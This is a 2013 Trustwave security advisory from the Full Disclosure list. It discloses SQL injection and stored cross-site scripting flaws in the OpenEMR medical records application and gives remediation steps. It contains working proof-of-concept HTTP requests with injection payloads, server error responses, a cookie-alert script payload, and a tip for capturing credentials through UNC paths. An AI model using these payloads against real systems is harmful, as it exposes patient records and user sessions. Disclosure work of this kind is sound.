Full Disclosure mailing list archives

TWSL2013-018: Multiple Vulnerabilities in OpenEMR


From: Trustwave Advisories <TrustwaveAdvisories () trustwave com>
Date: Fri, 12 Jul 2013 20:12:23 +0000

Trustwave SpiderLabs Security Advisory TWSL2013-018:
Multiple Vulnerabilities in OpenEMR

Published: 07/12/13
Version: 1.0

Vendor: OEMR (www.open-emr.org)
Product: OpenEMR
Version affected: 4.1.1 patch-12 and prior

Product description:
OpenEMR is an ONC-ATB Ambulatory EHR 2011-2012 certified electronic health records and medical practice management 
application. It features fully integrated electronic health, records, practice management, scheduling, electronic 
billing.

Finding 1: SQL Injection
*****Credit: Nate Drier of Trustwave SpiderLabs
CVE: CVE-2013-4619
CWE: CWE-89

Several locations in the authenticated portion of OpenEMR do not properly sanitize input.  As any user (from 
Administrator to Front Desk), SQL statements can be injected into the application in the following locations:

1. Reports > Visits > SuperBill > Dates ('start' and 'end' parameters are vulnerable with a POST to
/openemr-4.1.1/interface/reports/custom_report_range.php)

#Request

POST http://a.b.c.d/openemr-4.1.1/interface/reports/custom_report_range.php HTTP/1.1
Host: a.b.c.d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Proxy-Connection: keep-alive
Referer: http://a.b.c.d/openemr-4.1.1/interface/reports/custom_report_range.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

form_refresh=true&start=2013-01-07&end=2013-02-06'INJECT

#Response

<snip>
<p><p><font color='red'>ERROR:</font> query failed: select * from forms where form_name = 'New Patient Encounter' and 
date between '2013-01-07' and '2013-02'-06' order by date DESC<p>Error: <font color='red'>You have an error in your SQL 
syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' order by 
date DESC' at line 1</font><p> <snip>

2. Misc > Chart Tracker ('form_newid' parameter is vulnerable with a POST to /openemr-4.1.1/custom/chart_tracker.php)


#Request

POST http://a.b.c.d/openemr-4.1.1/custom/chart_tracker.php HTTP/1.1
Host: a.b.c.d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Proxy-Connection: keep-alive
Referer: http://a.b.c.d/openemr-4.1.1/custom/chart_tracker.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

form_newid=test'INJECT&form_lookup=Look+Up

#Response

<snip>
<p><p><font color='red'>ERROR:</font> query failed: SELECT pd.pid, pd.pubpid, pd.fname, pd.mname, pd.lname, pd.ss, 
pd.DOB, ct.ct_userid, ct.ct_location, ct.ct_when FROM patient_data AS pd LEFT OUTER JOIN chart_tracker AS ct ON 
ct.ct_pid = pd.pid WHERE pd.pubpid = 'test'INJECT' ORDER BY pd.pid ASC, ct.ct_when DESC LIMIT 1<p> <snip>

Finding 2: HTML / Script Injection (Persistant XSS)
*****Credit: Nate Drier of Trustwave SpiderLabs
CVE: CVE-2013-4620
CWE: CWE-79

The 'Office Notes' section of OpenEMR allows users of the application to submit notes for other users. This input is 
not sanitized, and HTML can be injected into the notes application and saved.  Basic XSS works (alerts, 
document.cookie, etc). Useful in a pentest, UNC paths can also be saved as a note, and any user viewing the notes will 
attempt to authenticate to the UNC share location.

1. Misc > Office Notes ('note' parameter is vulnerable with a POST to 
/openemr-4.1.1/interface/main/onotes/office_comments_full.php)

#Request:

POST http://a.b.c.d/openemr-4.1.1/interface/main/onotes/office_comments_full.php HTTP/1.1
Host: a.b.c.d
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Proxy-Connection: keep-alive
Referer: http://a.b.c.d/openemr-4.1.1/interface/main/onotes/office_comments_full.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 43

mode=new&offset=0&active=all&note=<script>alert(document.cookie)</script>

#Response:

<snip>
<tr><td><input type=hidden value='' name='act115' id='act115'><input name='box115' id='box115' 
onClick='javascript:document.update_activity.act115.value=this.checked' type=checkbox checked></td><td><label 
for='box115' class='bold'>Wed February 06th</label> <label for='box115' class='bold'>(test)</label></td><td><label 
for='box115' class='text'><script>alert(document.cookie)</script>&nbsp;</label></td></tr>
<snip>

Remediation Steps:
The vendor has released the 4.1.1 patch to addresses these vulnerabilities.  All versions need to be upgraded to 
version 4.1.1 in order to apply the patch.

Revision History:
06/03/13 - Vulnerability disclosed
06/14/13 - Patch released by vendor
07/12/13 - Advisory published

References
1. http://www.open-emr.org/wiki/index.php/OpenEMR_Patches

About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry 
compliance management solutions to businesses and government entities throughout the world. For organizations faced 
with today's challenging data security and compliance environment, Trustwave provides a unique approach with 
comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary 
security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large 
financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, 
data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout 
North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com

About Trustwave's SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, 
penetration testing, physical security and security research. The team has performed over a thousand incident 
investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the 
SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to 
enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

Disclaimer:
The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all 
warranties, either express or implied, including the warranties of merchantability and fitness for a particular 
purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, 
incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been 
advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply.

________________________________

This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under 
applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, 
distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If 
you received this transmission in error, please immediately contact the sender and destroy the material in its 
entirety, whether in electronic or hard copy format.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Current thread: